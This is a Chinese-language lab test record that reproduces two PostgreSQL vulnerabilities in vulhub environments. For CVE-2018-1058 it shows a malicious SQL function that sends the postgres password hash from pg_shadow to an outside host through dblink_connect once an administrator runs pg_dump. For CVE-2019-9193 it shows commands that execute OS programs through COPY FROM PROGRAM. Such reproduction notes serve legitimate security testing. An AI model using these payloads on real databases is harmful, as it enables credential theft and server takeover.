Postgres漏洞汇现
CVE-2018-1058
漏洞名称:
远程代码执行漏洞
漏洞类型:
远程代码执行
公布时间:
2018-3-1
涉及应用版本:
PostgreSQL
https://www.securityfocus.com/bid/103221
针对操作系统:
windows/linux/mac
漏洞简介:
拥有普通权限的psql用户可以创建恶意函数。在管理员使用某些工具的时候,就会触发到恶意函数,造成代码执行。从而把信息反弹给另一台主机
参考文章:
测试信息
测试应用及版本:
postgres 9.6.7
测试操作系统环境:
ubuntu/linux
测试人:
Ann
测试日期:
2019-7-20
测试环境:
vulhub/postgres/CVE-2018-1058
测试过程:
- 以普通用户登陆 vulhub/vulhub
- 以普通用户执行命令,创建恶意函数
CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
select dblink_connect((select 'hostaddr=192.168.248.132 port=12345 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres')));
SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;
- 远程监听端口 4444
- 以管理员用户登录 postgres/postgres
- 执行命令,触发恶意函数,导致代码执行,并发送到指定机器上
pg_dump -U postgres -f evil.bak evil
- 得到管理员密码
CVE-2019-9193
漏洞名称:
高权限命令执行漏洞
漏洞类型:
远程命令执行
公布时间:
2019-3-27
涉及应用版本:
PostgreSQL
9.3-11.2
针对操作系统:
windows/linux/mac
漏洞简介:
从版本9.3开始,实现了“ 复制到/来自程序 ”的新功能。这允许数据库超级用户和’pg_execute_server_program’组中的任何用户运行任意操作系统命令。这实际上意味着数据库超级用户用户与在操作系统上运行数据库的用户之间没有权限分离
Metasploit:
这个需要自行添加到msf的模块中
参考文章:
测试信息
测试应用及版本:
postgres 10.7
测试操作系统环境:
ubuntu/linux
测试人:
Ann
测试日期:
2019-7-20
测试环境:
vulhub/postgres/CVE-2019-9193
测试过程:
- 登陆默认账号密码 postgres/postgres
- 执行命令,删除存在的cmd_exec表
DROP TABLE IF EXISTS cmd_exec;
- 创建新的表
CREATE TABLE cmd_exec(cmd_output text);
- 在代码执行中插入命令
COPY cmd_exec FROM PROGRAM ' ID ' ;
- 查看命令的执行结果
SELECT * FROM cmd_exec;